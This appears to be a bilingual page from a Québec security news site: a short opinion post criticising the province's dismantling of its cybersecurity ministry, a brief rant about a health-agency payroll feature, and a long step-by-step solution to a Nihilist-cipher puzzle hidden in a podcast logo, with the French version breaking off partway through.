Every article published since 2009 is still here, and old links still work. Every article is published in French and in English.

What you’ll find here

Articles are sorted into eight categories:

• News & opinion: local cyber news and where we stand.
• Ransomware: the attacks and the criminal groups targeting Québec and Canada.
• Vulnerabilities: vulnerability analyses, disclosures and fixes.
• Leaks & privacy: data leaks, passwords and personal information.
• Policy & regulation: laws, regulators and government decisions.
• Tools & projects: projects and tools published by the community.
• Walkthroughs & CTF: solutions to challenges and training rooms.
• Cryptography & puzzles: ciphers, riddles and puzzles.

Our social media, in one place

The comments and opinions we post on our social networks will now be published here too. A thread on LinkedIn or Mastodon fades fast. Here it stays, with its sources, and it’s easy to find, quote and share.

The securite.fm podcast

Important clips and standout episodes of the securite.fm podcast will also have their place on Hackfest Media, with the context and links to dig deeper.

Sponsor Hackfest Media

Hackfest Media can be sponsored. Want to support an independent outlet and reach Québec’s information security community directly? Packages and prices are on the Sponsor page.

Write with us

Have news, an analysis or an opinion to share? Pitch an article. To follow what we publish, subscribe to the RSS feed or join the community on Discord.

Tous les articles publiés depuis 2009 sont toujours là, et les anciens liens fonctionnent encore. Chaque article est publié en français et en anglais.

Ce que vous trouverez ici

Les articles sont classés en huit catégories :

• Nouvelles & opinion : l’actualité cyber d’ici et nos prises de position.
• Rançongiciels : les attaques et les groupes criminels qui ciblent le Québec et le Canada.
• Vulnérabilités : analyses de failles, divulgations et correctifs.
• Fuites & vie privée : fuites de données, mots de passe et renseignements personnels.
• Politique & réglementation : lois, organismes de réglementation et décisions gouvernementales.
• Outils & projets : les projets et outils publiés par la communauté.
• Walkthroughs & CTF : solutions de défis et de salles d’entraînement.
• Cryptographie & énigmes : chiffrement, énigmes et casse-têtes.

Nos réseaux sociaux, au même endroit

Les commentaires et les opinions qu’on publie sur nos réseaux sociaux seront désormais publiés ici aussi. Un fil sur LinkedIn ou sur Mastodon disparaît vite. Ici, il reste, avec ses sources, et il est facile à retrouver, à citer et à partager.

Le podcast securite.fm

Les extraits importants et les épisodes marquants du podcast securite.fm auront aussi leur place sur Hackfest Media, avec le contexte et les liens pour aller plus loin.

Commanditer Hackfest Media

Hackfest Media peut être commandité. Vous voulez appuyer un média indépendant et rejoindre directement la communauté de la sécurité de l’information au Québec? Les forfaits et les tarifs sont sur la page Commanditer.

Écrivez avec nous

Vous avez une nouvelle, une analyse ou une opinion à partager? Proposez un article. Et pour suivre ce qu’on publie, abonnez-vous au flux RSS ou rejoignez la communauté sur Discord.

Source (in French)Le PQ démantèle le ministère de la Cybersécurité et du Numériqueici.radio-canada.ca ↗

Québec is dismantling its Ministry of Cybersecurity and Digital Affairs (Ministère de la Cybersécurité et du Numérique, MCN) and handing the security of the State to a minister with no experience in cybersecurity, IT or information security… in the middle of a cyberwar against cities, energy and food giants.

The ministry was dismantled without a bill. No vote in the National Assembly, and its 2,038 employees now report to the Treasury Board Secretariat (Secrétariat du Conseil du trésor, SCT).

The minister who inherits the State’s cybersecurity, Alain Therrien, is an economist. He has NO experience in IT, cybersecurity or information security. Except for 5 months as an opposition critic in 2015, when he criticized how budgets were managed. Let’s be honest: every government project has a budget problem.

But ransomware couldn’t care less about your government calls for tenders.

We’re not asking for a minister who codes. We’re asking for someone, somewhere, with ten or so years of experience in the field, who knows what they’re talking about.

Sources

Most sources are in French.

• The dismantling of the MCN radio-canada.ca ↗
• The role of the chief information officer legisquebec.gouv.qc.ca ↗
• Alain Therrien’s background assnat.qc.ca ↗
• His remarks on IT in 2015 (Committee on Public Finance)
  • Session of May 15, 2015 assnat.qc.ca ↗
  • Session of October 23, 2015 assnat.qc.ca ↗
• His statement on IT contracts moncarnet.com ↗
• “Keeping the purse strings tight” lereflet.qc.ca ↗
• The CAI no longer publishes the list of privacy incidents gowlingwlg.com ↗
• The CAI considers its resources insufficient cai.gouv.qc.ca ↗
• Recommendation no. 1 of the Gallant report lapresse.ca ↗

SourceLe PQ démantèle le ministère de la Cybersécurité et du Numériqueici.radio-canada.ca ↗

Québec démantèle le ministère de la Cybersécurité et du Numérique du Québec (MCN) et confie la sécurité de l’État à un ministre sans expérience en cybersécurité, en TI et en sécurité de l’information… et ce, en pleine guerre informatique contre des villes, l’énergie et les géants de l’alimentaire.

Le démantèlement a été fait sans projet de loi. Pas de vote à l’Assemblée nationale, et ses 2 038 employés relèvent maintenant du Secrétariat du Conseil du trésor (SCT).

Le ministre qui hérite de la cybersécurité de l’État, Alain Therrien, est économiste. Il n’a AUCUNE expérience en TI, en cybersécurité ou en sécurité de l’information. Sauf 5 mois comme critique de l’opposition en 2015, où il critiquait la gestion des budgets. On s’entend, tous les projets gouvernementaux ont un problème de budget.

Mais un rançongiciel se fout pas mal de vos appels d’offres gouvernementaux.

On ne demande pas un ministre qui programme. On demande quelqu’un, quelque part, avec une dizaine d’années d’expérience dans le domaine, qui sait de quoi il parle.

Sources

• Le démantèlement du MCN radio-canada.ca ↗
• Le rôle du dirigeant principal de l’information legisquebec.gouv.qc.ca ↗
• Le parcours d’Alain Therrien assnat.qc.ca ↗
• Ses interventions sur l’informatique en 2015 (Commission des finances publiques)
  • Séance du 15 mai 2015 assnat.qc.ca ↗
  • Séance du 23 octobre 2015 assnat.qc.ca ↗
• Sa déclaration sur les contrats informatiques moncarnet.com ↗
• « Garder les cordons de la bourse serrés » lereflet.qc.ca ↗
• La CAI ne publie plus la liste des incidents de confidentialité gowlingwlg.com ↗
• La CAI juge ses ressources insuffisantes cai.gouv.qc.ca ↗
• La recommandation no 1 du rapport Gallant lapresse.ca ↗

INCOMPETENCE. There is no other word for it.

Santé Québec has invented hour compression, a real farce!

• A dev coded it.
• A project manager approved it.
• The administration signed off on it.
• And it went to production. 🤡

It’s not a bug, it’s a feature, born from a series of failures.

🎥 Jean-René Dufort’s interview (in French): https://www.facebook.com/reel/1434156314822606

INCOMPÉTENCE. Il n’y a pas d’autre mot.

Santé Québec invente la compression d’heures, une vraie farce!

• Un dev l’a codée.
• Un gestionnaire de projet l’a approuvée.
• L’administration l’a signée.
• Et c’est parti en production. 🤡

Ce n’est pas un bogue, c’est une feature, issue d’une série d’échecs.

🎥 L’entrevue de Jean-René Dufort : https://www.facebook.com/reel/1434156314822606

Since its very beginnings, the logo of the La French Connection podcast has displayed an encrypted message. Many people have dreamed of unravelling the mystery of this cipher. Fair warning to those who don’t want to break the spell: read no further, because this text reveals the secrets and the message behind the logo. (1)

Analysis

Fans of the La French Connection podcast noticed long ago that the bottom of the podcast’s logo bears a mysterious inscription that, without a doubt, conceals a secret message (Figure 1).

The encrypted message

The mysterious cipher is made up of 25 hexadecimal numbers. It is often easier to convert hexadecimal numbers into decimal numbers. CyberChef handles this kind of chore very well (Table 1).

Figure 1: Logo of the La French Connection podcast.

Table 1: The mysterious cipher.

 4E 39 44 60 35 63 3B 19 24 55 62 3A 2E 4F 56 42 4F 2D 21 3F 62 1C 26 3C 5F
 78 57 68 96 53 99 59 25 36 85 98 58 46 79 86 66 79 45 33 63 98 28 38 60 95

Frequencies

Since we’re already putting CyberChef to good use, we might as well take advantage of it to run a frequency analysis. Figure 2 shows the result of this analysis. We can see that out of 25 numbers, only two are repeated (4F and 62). At the same time, the sequence is not random, since the values are not evenly distributed across the range of 256 possible numbers (from 00 to FF).

Figure 2: Frequency analysis of the numbers.

These results allow us to rule out modern encryption or a hash function, which would produce more uniform data. Moreover, we are not dealing with a simple substitution cipher either, since there are few repetitions. Because the encrypted message is very short, it is hard to carry out a more thorough statistical analysis or to use brute force without first identifying the encryption method.

Looking more closely at the decimal numbers, we notice that none of them ends in 1, 2 or 4. In addition, the units digits are not evenly distributed, as shown in Table 2. The distribution of the tens digit is a bit more uniform, but there is no digit smaller than 20 at all (Table 3).

Table 2: Distribution of the units digit.

 Unité       %
   0         4       
   3        12
   5        16
   6        20
   7         4
   8        28
   9        16

Table 3: Distribution of the tens digit.

 Dizaine       %
    2          8
    3         12
    4          8
    5         16
    6         16
    7         12
    8          8
    9         20

In search of the lost cipher

With the little information we have gathered, we can explore several leads to try to identify the cipher that was used. The numbers in the cipher were almost certainly generated using simple mathematical rules that give them the characteristics we observed. A good place to start looking for the cipher is dCode. This site is a valuable resource for learning more about codes and encryption. It offers not only very detailed descriptions of several dozen classical ciphers, but also tools to encode, decode and break some of them.

Polybius

We are probably dealing with a substitution or transposition cipher that includes additional elements to make decryption harder. The most fun way to identify the cipher used is to spend long hours exploring the various classical ciphers, reading their descriptions, and encrypting and decrypting different messages. It is also the most time-consuming method. If you use it, you will probably end up stumbling on the Polybius cipher, which uses the Polybius square, a 5x5 grid that maps each letter of the alphabet to a number between 11 and 55. Table 4 shows one possible square. Since the alphabet has 26 letters, one of them has to be sacrificed. In this case, Z is sacrificed, but J, V or W are also frequently dropped.

Table 4: Polybius square.

           1       2       3       4       5
 1         A       B       C       D       E
 2         F       G       H       I       J
 3         K       L       M       N       O
 4         P       Q       R       S       T
 5         U       V       W       X       Y

To encrypt a message using a Polybius square, you simply find the letter in the table and replace it with the number formed by the row number followed by the column number. For example, the letter Q would be replaced by the number 42.

Polybius on steroids

To make life harder for the curious, you can use a key to change the order of the letters in the grid. The word used must have distinct letters. You write the letters of this secret word at the top of the grid and continue with the remaining letters. For example, with the key HACK we would get the square shown in Table 5.

Table 5: Polybius square with the key HACK.

         1       2       3       4       5  
 1       H       A       C       K       B
 2       D       E       F       G       I
 3       J       L       M       N       O
 4       P       Q       R       S       T
 5       U       V       W       X       Y

The Polybius cipher shows a regularity in the numbers it uses, which makes it easy to identify, since only the numbers 11, 12, 13, 14, 15, 21, 22, 23, 24, 25, 31, 32, 33, 34, 35, 41, 42, 43, 44, 45, 51, 52, 53, 54, 55 can be used.

Polybius or not Polybius? That is the question!

Although the Polybius cipher shares some similarities with the characteristics of our message, the possible numbers do not match. So we are dealing either with another cipher or with a variant of the Polybius cipher using a different grid.

Reading up a bit more on the Polybius cipher, we find that it is often associated with the Nihilist cipher, which is a superencryption of the Polybius square. The Nihilist cipher can be recognized by the following clues:

• Contains only numbers between 22 and 110.

• Contains none of the following numbers:
  21, 31, 41, 51, 61, 71, 81, 91, 101.

• The cipher comes with some kind of reference to Russia.

Mini OSINT

The first two characteristics match the secret message at the bottom of the logo perfectly, but some mention of Russia in an episode would seal the deal. A bit of white-belt Google Fu (logo site:securite.fm) reveals that the encoded message in the logo is mentioned in episode 0x017 (around the 40-minute mark), as shown in Figure 3. In that episode, Damien, ever the foodie, gives us a hint: "Poutine"... Unless he is referring to another kind of "Putin", far less digestible.

Figure 3: Episode 0x017 mentions the logo mystery.

The Nihilist cipher

Made famous by its use by the Russian nihilists of the 19th century. This cipher is easy to memorize and allows a message to be transmitted in several ways. For example, Russian prisoners passed messages of this kind by knocking on the walls of their cells a number of times corresponding to the row and then the column of each letter.

How it works

The Nihilist cipher works simply:

1. You choose a Polybius square, with the letters possibly scrambled using a key agreed upon in advance. For example, the square in Table 5.

2. You encode the message with the grid. Each letter is assigned a number corresponding to a row and a column. The message "MESSAGESECRET" would, for example, become: 33 22 44 44 12 24 22 44 22 13 43 22 45.

3. You choose a superencryption key and encode it with the Polybius square. If you choose "PLANET" as the key, you get 41 32 12 34 22 45.

4. You write the encoded key out as many times as needed under the encoded message and add the two numbers together, as in Table 6.

Table 6: Superencryption.

   M    E    S    S    A    G    E    S    E    C    R    E    T
  ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ----
   33   22   44   44   12   24   22   44   22   13   43   22   45
   41   32   12   34   22   45   41   32   12   34   22   45   41
   74   54   56   78   34   69   63   76   34   47   65   67   86

What you end up with is a substitution cipher to which a key is repeatedly added. In the end, you get a fractionated polyalphabetic cipher, since two identical letters can be encoded differently depending on their position in the message.

Vulnerabilities

The Nihilist cipher has multiple vulnerabilities, including those below:

• The superencryption key is repeated. When the encrypted message is longer than the key, similarities can be observed between blocks of text that are the same length as the key.

• There is a limited number of combinations for the additions. For example, the number 80 can only be obtained with the additions $25+55$ or $35+45$.

• The larger or smaller the numbers, the more limited the possibilities. For example, 22 or 110 can only be obtained if the encoded letter is the same as the superencryption key letter and that letter is in the top-left or bottom-right corner of the grid, respectively.

• A number with a 0 in the units position indicates that the numbers added together come from the last column.

• Similarly, a number with a 2 in the units position comes from an addition of numbers from the first column.

• Once the key length is identified and the key space narrowed down, the key can be found (if it is a word) by deduction or with a dictionary.

• Once the superencryption key is found, the problem boils down to a simple substitution cipher, a Polybius cipher.

Cryptanalysis of the Nihilist cipher becomes much easier if the encoded message is long and/or if we have another decoded message that was encrypted with the same grid and the same superencryption key. Unfortunately, in this case, we have neither of these helpful elements.

Decryption

There are very few repetitions in the encoded message, 78 57 68 96 53 99 59 25 36 85 98 58 46 79 86 66 79 45 33 63 98 28 38 60 95, which indicates that the superencryption key is probably not trivially short (1, 2 or 3 characters).

Key length

The first step is to determine the length of the superencryption key, which will give us the period of the cipher. A cipher will have a period of 4 if a 4-character key is repeated for the encryption, since every block of 4 letters will use the same key.

To determine the key length, we will build tables with a number of columns matching the key length we want to test. For example, if we want to check whether a 6-character key is possible, we need to build Table 7 with 6 columns and fill it with the encrypted message, in order.

Table 7: Table to test whether a 6-character key is possible.

 78   57   68   96   53   99
 59   25   36   85   98   58
 46   79   86   66   79   45
 33   63   98   28   38   60
 95                      

We need to build a table like this for every superencryption key length we want to test. In our case, between 1 and 25 columns.

For each column of a table, we apply the algorithm below. First to the tens digit, then to the units digit. If, for a given column, this algorithm returns false for either the tens or the units digit, it means no addition is possible for the combinations of numbers in that column. The superencryption key therefore cannot have the assumed length.

Essentially, we check that the difference between the maximum and minimum digit is less than 5. If it isn’t, it is impossible for a single digit (between 1 and 5) to have superencoded the units or tens digit. For example, if the units digits for a column are 2, 4, 7, 3, 4, the difference between 7 and 2 is 5. And it is impossible to find two digits such that $x_1 + y = 7$ and $x_2 + y = 2$ where $1\leq x_i \leq 5$ and $1\leq y \leq 5$

array $A \gets$ chiffres des unités ou dizaines

for all 𝑛 ∈ {0, . . . , 𝑎𝑟𝑟𝑎𝑦𝑙𝑒𝑛𝑔𝑡ℎ − 1} do

if 𝐴[𝑖] == 0 then

$A[i] \gets 10$

end if

end for

return max(A) - min(A) \< 5

Going back to Table 7, we see that the tens digits for the first column are 7, 5, 4, 3, 9. There is a difference of 6 between the maximum and minimum digits, so no 6-character key could have been used.

If we apply this rule to tables of 2 to 25 rows (using a homemade Python script), we get possible key lengths of 10, 20, 22, 23, 24 or 25. Since the message is 25 characters long, keys between 20 and 25 characters are considered possible, because in those cases most columns will contain only one number. However, they are unlikely, since if the key length is close to the message length, we would almost have a Vernam cipher (one-time pad), which would be practically impossible to decode without knowing the key.

Under these circumstances, the key length is most likely 10.

Key space

Once the key length is established, we can try to narrow down the key space. Indeed, with the Nihilist cipher, not every 10-character key is possible, only a reduced number of them. To limit the number of possible keys, we need Table 8, with as many columns as the key length.

Table 8: 10-column table.

 78   57   68   96   53   99   59   25   36   85
 98   58   46   79   86   66   79   45   33   63
 98   28   38   60   95                      

For each column of this table, we need to apply the following algorithm, which will produce the list of numbers possibly used to superencrypt a column. Once again, this is a direct consequence of using the Polybius square, which limits the units or tens digit to a number between 1 and 5.

array $col \gets$ une colonne du tableau

$dizaineMin \gets 1$

$dizaineMax \gets 5$

$uniteMin \gets 1$ 

$uniteMax \gets 5$

for all 𝑛 ∈ 𝑐𝑜𝑙 do

$unite \gets n \mod 10$

if $unite == 0$ then

$uniteMin \gets 5$

$uniteMax \gets 5$

else if $unite < 7$ then

$uniteMin \gets 1$

$uniteMax \gets unite - 1$

else

$uniteMin \gets unite - 5$

$uniteMax \gets 5$

end if

array $unitesPossibles \gets \{uniteMin, \dots, uniteMax\}$

$dizaine \gets floor(n/10) \mod 10$

if $dizaine == 0$ then

$dizaineMin \gets 5$

$dizaineMax \gets 5$

else if $dizaine < 7$ then

$dizaineMin \gets 1$

$dizaineMax \gets dizaine - 1$

else

$dizaineMin \gets dizaine - 5$

$dizaineMax \gets 5$

end if

array $dizainesPossibles \gets \{dizaineMin, \dots, dizaineMax\}$

end for

return $combinaisons(dizainesPossibles, unitesPossibles)$

If we apply this algorithm to each column of Table 8, we get the possibilities in Table 9 for each character of the superencryption key.

Table 9: Key space.

Position      Possibilités

    1         43, 44, 45, 53, 54, 55
    2               13, 14, 15
    3         13, 14, 15, 23, 24, 25
    4                   45
    5                 41, 42
    6             44, 45, 54, 55
    7         24, 25, 34, 35, 44, 45
    8             11, 12, 13, 14
    9             11, 12, 21, 22
    10        31, 32, 41, 42, 51, 52

Even though all these calculations can be done by hand, a Python script can be a big help, both in terms of time and of mental health.

Numbers

For this cipher, we therefore have a 10-character key, with each character having 6, 3, 6, 1, 2, 4, 6, 4, 4 and 6 possibilities respectively. The number of possible combinations is $6 \times 3 \times 6 \times 1 \times 2 \times 4 \times 6 \times 4 \times 4 \times 6 = 497664$. Many of these combinations are not words. We could start by excluding them but, in the end, if the key is random, we have 497664 keys to test.

Furthermore, if we don’t want to have to manually validate every decryption attempt, we would need to automate the whole thing by comparing each 4-character block of a decoding attempt against French and English quadgrams (we assume the message is in one of those two languages), of which there are about 400000 each. Note that there are 22 possible 4-character blocks in a 25-character sequence.

Finally, nothing guarantees that a completely random Polybius square wasn’t used for the initial substitution. For 26 letters, there are $26! \approx 4 \times 10^{26}$ possible squares.

We would have approximately $497644 \times 400000 \times 400000 \times 22 \times 4 \times 10^{26} \approx 7 \times 10^{44}$ tests to run.

That’s a lot of paths to explore, so we need to narrow this search space even further by making several assumptions.

Assumptions

To start with, we will make the following assumptions:

1. The superencryption key is a word. Probably related to the podcast.

2. The Polybius square used is one of the few best-known squares (with the letters of the alphabet practically in order).

3. The language used for the key and the original message is either French or English.

4. The Nihilist algorithm used to encrypt the message was not modified to make decryption harder.

Finding the superencryption key

Armed with these assumptions, we can finally tackle the superencryption key. We assume that the most common Polybius square, which omits the letter "J", was used (Table 10). Encoding the message with this square would imply using the letters in Table 11 to encrypt the key.

Table 10: Polybius square presumably used.

         1       2       3       4       5
 1       A       B       C       D       E
 2       F       G       H       I       K
 3       L       M       N       O       P
 4       Q       R       S       T       U
 5       V       W       X       Y       Z

Table 11: Possible letters for the key.

 1       2       3       4       5       6       7       8       9      10
 S       C       C       U       Q       T       I       A       A       L
 T       D       D               R       U       K       B       B       M
 U       E       E                       Y       O       C       F       Q
 X               H                       Z       P       D       G       R
 Y               I                               T                       V
 Z               K                               U                       W

The 10 most common letters in French words are e, a, i, s, n, r, t, o, l, u, while in English they are e, t, a, o, i, n, s, h, r, d. For now, let’s keep only the letters that are most common in both languages. Doing so, we realize almost immediately, if we have ever played Scrabble or done word searches, that we almost have the word SECURITÉ or SECURITY (Table 12). This is most certainly no coincidence.

Table 12: Filtered possible letters.

 1       2       3       4       5       6       7       8       9       10
 S               C       U               T       I       A       A       L
 T       D       D               R       U                            
 U       E       E                               O                    
                 H                                       D               R
                 I                               T                    
                                                 U                    

A good way to check whether we’re on the right track is to use this partial superencryption key to decode the message. Using dCode greatly speeds up this kind of test, since it lets you quickly change either the Polybius square or the key. Since we are missing a few letters in the key to form a word, we will arbitrarily replace them with the first letter of each column. This gives us the key SECURTTAAL. Using it together with Table 10 to try to decrypt the message, we get PRZVAZEDKYZSNOTGPOGMZCKEX.

We notice a short English word and a few common English bigrams in the partially decoded message:
PRZVAZEDKYZSNOTGPOGMZCKEX.

This is a big step, since we have identified the language of the original message. Moreover, there are more "Z"s than there should be in this message, which suggests there is a problem with the Polybius square used. Looking at the list of the 10 most common letters in English, we notice that "I", the fifth most used letter in that language, never appears, while "Z" appears four times. If we swap the positions of "I" and "Z" in the Polybius square and try decoding the message again, we get a partially decoded message with even more words and partial words PRIVAIEDKYISNOTGPOGMICKEX.

At this point, it is much easier to try a few other keys than to try to modify the Polybius square. Trying the keys SECURITEAL and SECURITYAL, we get:\

 SECURITEAL: PRIVATE?KYISNOTAP?GMICKEX
 SECURITYAL: PRIVATE?BIUYNNTQC?BHKVMVI?

The first key attempt, with the French word, is clearly better, even though two letters cannot be decoded with the Polybius square used. For the last two letters of the key, we can either use brute force and test every possible combination, or remember (thanks to our mini OSINT) that the podcast’s website is securite.fm.

With the superencryption key "SECURITEFM", we decode the message PRIVATE?EXISNOTAP?BLICKEX, which we can guess is "PRIVATEKEXISNOTAPUBLICKEY". However, the message cannot be fully decoded with this key. We can easily improve the situation by swapping the letters "X" and "Y" in the Polybius square to get Table 13.

Table 13: Final Polybius square.

         1       2       3       4       5
 1       A       B       C       D       E
 2       F       G       H       Z       K
 3       L       M       N       O       P
 4       Q       R       S       T       U
 5       V       W       Y       X       I

With this key and this Polybius square, two numbers in our initial sequence cannot be decoded 78 57 68 96 53 99 59 25 36 85 98 58 46 79 86 66 79 45 33 63 98 28 38 60 95. They correspond to the letters at positions 8 and 18 of the message. With the current superencryption key, the number 25 should be 10, since we should subtract 15 (because of the "E"), and the number 45 should be 30, for the same reason.

But 10 and 30 cannot be obtained with the key and Polybius square we found. However, the numbers 25 and 45 correspond to the missing letters "K" and "U". These two letters were simply not superencrypted with the key! This is either an unintentional mistake or an attempt to make decrypting the message harder. In the end, everyone will agree with the secret message: "private key is not a public key".

Official solution

After I validated the secret message with the official authorities of La French Connection, the higher-ups sent me the official solution, which I am passing on to you. One particular point in it may leave us puzzled:

1. Text to encode: PRIVATEKEYISNOTAPUBLICKEY
2. Key character set: ABCDEFGHIJKLMNOPQRSTUVVVXYZ (w = VV)
3. Key: SECURITE.FM
4. Encode the answer in hex

The whole thing was encoded using an unspecified tool, almost certainly using the Nihilist cipher. The tricky point in this solution is, of course, the period “.” between SECURITE and FM. It appears nowhere among the characters used in the cipher. And yet, the tool used did encrypt the message. This unconventional key probably explains why two letters were not encoded as expected.

This illustrates how hard it is to decrypt a message encoded with an unknown algorithm and unknown tools. You’re never safe from surprises.

References

• https://www.dcode.fr/chiffre-nihiliste

• https://gchq.github.io/CyberChef

• https://alexbarter.com/cryptanalysis/breaking-nihilist-substitution-cipher/

• http://www.crypto-it.net/eng/simple/nihilist.html

• http://www.benburlingham.com/core/articles/nihilist-cipher.html

(1) This work is subject to the WTFPL license. Visit http://www.wtfpl.net/ for a full copy of this license.

Depuis ses débuts, le logo du podcast La French Connection arbore un message chiffré. Bien des gens ont rêvé de percer le mystère de ce chiffre. Avis à ceux qui ne veulent pas briser la magie, ne lisez point une ligne de plus car ce texte dévoile les secrets et le message derrière ce logo. (1)

Analyse

Les amateurs du podcast La French Connection ont remarqué depuis longtemps que le logo du dit podcast présente, en son bas, une mystérieuse inscription qui recèle sans aucun doute un message secret (Figure 1).

Le message chiffré

Le mystérieux chiffre est composé de 25 nombres hexadécimaux. Il est souvent plus facile de convertir les nombres hexadécimaux en nombre décimaux. CyberChef se charge très bien de ce genre de besogne (Table 1).

Figure 1 : Logo du podcast La French Connection.

Table 1 : Mystérieux chiffre.

 4E 39 44 60 35 63 3B 19 24 55 62 3A 2E 4F 56 42 4F 2D 21 3F 62 1C 26 3C 5F
 78 57 68 96 53 99 59 25 36 85 98 58 46 79 86 66 79 45 33 63 98 28 38 60 95

Fréquences

Puisque nous mettons déjà à profit CyberChef, aussi bien en profiter pour faire une analyse en fréquence. La Figure 2 montre le résultat de cette analyse. On constate que sur 25 nombres, seulement deux sont répétés (4F et 62). En même temps, la séquence n’est pas aléatoire puisque les valeurs ne sont pas réparties uniformément sur la plage des 256 nombres possibles (de 00 à FF).

Figure 2 : Analyse de la fréquence des nombres.

Ces résultats nous permettent d’exclure un chiffrement moderne ou une fonction de hachage qui produirait des données plus uniformes. De plus, on n’a pas non plus affaire à un simple chiffre de substitution puisqu’il y a peu de répétitions. Le message chiffré étant très court, il est difficile de faire une analyse statistique plus poussée ou d’utiliser la force brute sans avoir identifié la méthode de chiffrement.

En regardant plus attentivement les nombres décimaux, on remarque qu’aucun ne se termine par 1, 2 ou 4. De plus, les chiffres des unités ne sont pas répartis uniformément, tel qu’illustré à la Table 2. La répartition du chiffre des dizaines est un peu plus uniforme, mais on note l’absence de tout chiffre plus petit que 20 (Table 3).

Table 2 : Répartition du chiffre des unités.

 Unité       %
   0         4       
   3        12
   5        16
   6        20
   7         4
   8        28
   9        16

Table 3 : Répartition du chiffre des dizaines.

 Dizaine       %
    2          8
    3         12
    4          8
    5         16
    6         16
    7         12
    8          8
    9         20

À la recherche du chiffre perdu

Avec les quelques informations obtenues, il est possible d’explorer plusieurs pistes pour tenter d’identifier le chiffrement utilisé. Les nombres du chiffre ont très certainement été créés à l’aide de règles mathématiques simples qui leurs confèrent les caractéristiques observées. Un bon endroit pour débuter la recherche pour identifier le chiffre est dCode. Ce site une ressource précieuse pour en apprendre plus sur les codes et le chiffrement. Il offre non seulement des descriptions très détaillées de plusieurs dizaines de chiffremements classiques, mais aussi des outils pour encoder, décoder et briser certains d’entre eux.

Polybe

Nous avons probablement affaire à un chiffre de substitution ou de transposition qui inclu des éléments additionnels pour rendre le déchiffrage plus difficile. La méthode la plus amusante pour identifier le chiffrement utilisé est de passer de longues heures à explorer les différents chiffres classiques, à lire leurs descriptions et à chiffrer et déchiffrer différents messages. C’est aussi la méthode demandant le plus de temps. Si vous l’utilisez, vous finirez probablement par tomber sur le chiffre de Polybe qui utilise le carré de Polybe, une grille de 5x5 associant chacune des lettres de l’alphabet à un nombre entre 11 et

1. La Table 4 montre un carré possible. Comme il y a 26 lettres à l’alphabet, il faut en sacrifier une. Dans ce cas-ci on sacrifie le Z mais le J, V ou W sont aussi fréquemment rejetés.

Table 4 : Carré de Polybe.

           1       2       3       4       5
 1         A       B       C       D       E
 2         F       G       H       I       J
 3         K       L       M       N       O
 4         P       Q       R       S       T
 5         U       V       W       X       Y

Pour chiffrer un message à l’aide d’un carré de Polybe, il suffit de trouver la lettre dans le tableau et de la remplacer par le nombre formé par le numéro de ligne suivit par le numéro de colonne. Par exemple, la lettre Q sera remplacée par le nombre 42.

Polybe sur les stéroïdes

Afin de rendre la tâche plus difficile aux curieux, il est possible d’utiliser une clé pour changer l’ordre des lettres de la grille. Le mot utilisé doit avoir des lettres distinctes. On écrit les lettres de ce mot secret au haut de la grille et on continue avec les lettres restantes. Par exemple, avec la clé HACK on aurait le carré présenté en Table 5.

Table 5: Carré de Polybe avec la clé HACK.

         1       2       3       4       5  
 1       H       A       C       K       B
 2       D       E       F       G       I
 3       J       L       M       N       O
 4       P       Q       R       S       T
 5       U       V       W       X       Y

Le chiffre de Polybe présente une régularité dans les nombres utilisés, ce qui le rend facilement identifiable puisque seuls les nombre 11, 12, 13, 14, 15, 21, 22, 23, 24, 25, 31, 32, 33, 34, 35, 41, 42, 43, 44, 45, 51, 52, 53, 54, 55 sont utilisables.

Polybe ou pas Polybe? Là est la question!

Bien que le chiffre de Polybe présente des similitudes avec les caractéristiques de notre message, les nombres possibles ne correspondent pas. Nous avons donc affaire à un autre chiffre ou à une variation du chiffre de Polybe avec une grille différente.

En s’éduquant un peu plus sur le chiffre de Polybe, on constate qu’il est souvent associé au chiffre des Nihilistes qui est un surchiffrement du carré de Polybe. On peut reconnaitre le chiffre des Nihilistes grâce aux indices suivants:

• Contient uniquement des nombres entre 22 et 110.

• Ne contient aucun des nombres suivants:
  21, 31, 41, 51, 61, 71, 81, 91, 101.

• Le chiffre est associé à une quelconque référence à la Russie.

Mini OSINT

Les deux premières caractéristiques correspondent parfaitement au message secret au bas du logo, mais une mention quelconque de la Russie dans un épisode confirmerait le tout. Un peu de Google Fu ceinture blanche (logo site:securite.fm) nous révèle qu’on mentionne le message encodé dans le logo à l’épisode 0x017 (aux environs de la minute 40), tel qu’illustré à la Figure 3. Lors de cet épisode Damien, toujours gourmand, nous donne un indice: "Poutine"... À moins qu’il fasse référence à un autre type de "Putin", beaucoup moins digeste.

Figure 3 : L’épisode 0x017 mentionne le mystère du logo.

Chiffre des Nihilistes

Rendu célèbre par son utilisation par les nihilistes russes du 19ième siècle. Ce chiffre est simple à mémoriser et permet de transmettre un message de plusieurs façons. Par exemple, les prisonniers russes transmettaient des messages de ce type en cognant sur les murs de leurs cellules un nombre de fois qui correspondait à la rangée puis à la colonne de chaque lettre.

Fonctionnement

Le fonctionnement du chiffre des Nihilistes est simple:

1. On choisit un carré de Polybe, avec les lettres potentiellement dans le désordre grâce à une clé convenue d’avance. Par exemple, le carré de la Table 5.

2. On encode le message avec la grille. Chaque lettre se voit attribuée un chiffre correspondant à une ligne et une colonne. Le message "MESSAGESECRET" deviendrait par exemple: 33 22 44 44 12 24 22 44 22 13 43 22 45.

3. On choisit une clé de surchiffrement et on l’encode avec le carré de Polybe. Si on choisit "PLANET" comme clé, on aura 41 32 12 34 22 45.

4. On réécrit la clé encodée autant de fois que nécessaire sous le message encodé et on additionne les deux nombres comme dans la Table 6.

Table 6 : Surchiffrement.

   M    E    S    S    A    G    E    S    E    C    R    E    T
  ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ---- ----
   33   22   44   44   12   24   22   44   22   13   43   22   45
   41   32   12   34   22   45   41   32   12   34   22   45   41
   74   54   56   78   34   69   63   76   34   47   65   67   86

On obtient alors un chiffrement par substitution auquel on additionne une clé de façon répétée. Au final, on aura un chiffrement polyalphabétique fractionné puisque deux lettres identiques peuvent être encodées de façon différente selon leur position dans le message.

Vulnérabilités

Le chiffre des Nihilistes comporte de multiples vulnérabilités dont celles ci-dessous:

• La clé de surchiffrement est répétée. Quand le message chiffré est plus long que cette clé, on peut observer des similitudes entre les blocs de texte de même longueur que la clé.

• Il y a un nombre limité de combinaisons pour les additions. Par exemple, le chiffre 80 ne peut être obtenu qu’avec les additions $25+55$ ou $35+45$.

